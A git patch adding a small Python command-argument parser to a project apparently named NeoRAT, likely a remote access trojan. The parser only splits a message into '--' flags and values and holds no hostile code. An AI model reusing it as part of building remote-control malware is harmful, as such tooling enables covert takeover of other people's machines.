From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- domestic/parse/command_argument_parser.py | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 domestic/parse/command_argument_parser.py (limited to 'domestic/parse/command_argument_parser.py') diff --git a/domestic/parse/command_argument_parser.py b/domestic/parse/command_argument_parser.py new file mode 100644 index 0000000..9358d76 --- /dev/null +++ b/domestic/parse/command_argument_parser.py @@ -0,0 +1,21 @@ +def command_argument_parser(message): + arguments = message.split('--') + first = arguments[0] + + if first.endswith(' '): + first = first[:-1] + + arguments_dict = {'message': first} + + for argument in arguments[1:]: + key_value_list = [y for y in argument.split(' ') if y != ''] + + key = key_value_list[0] + value = key_value_list[1:] + + if len(key_value_list) == 1: + arguments_dict[key] = True + else: + arguments_dict[key] = ' '.join(value) + + return arguments_dict \ No newline at end of file -- cgit v1.2.3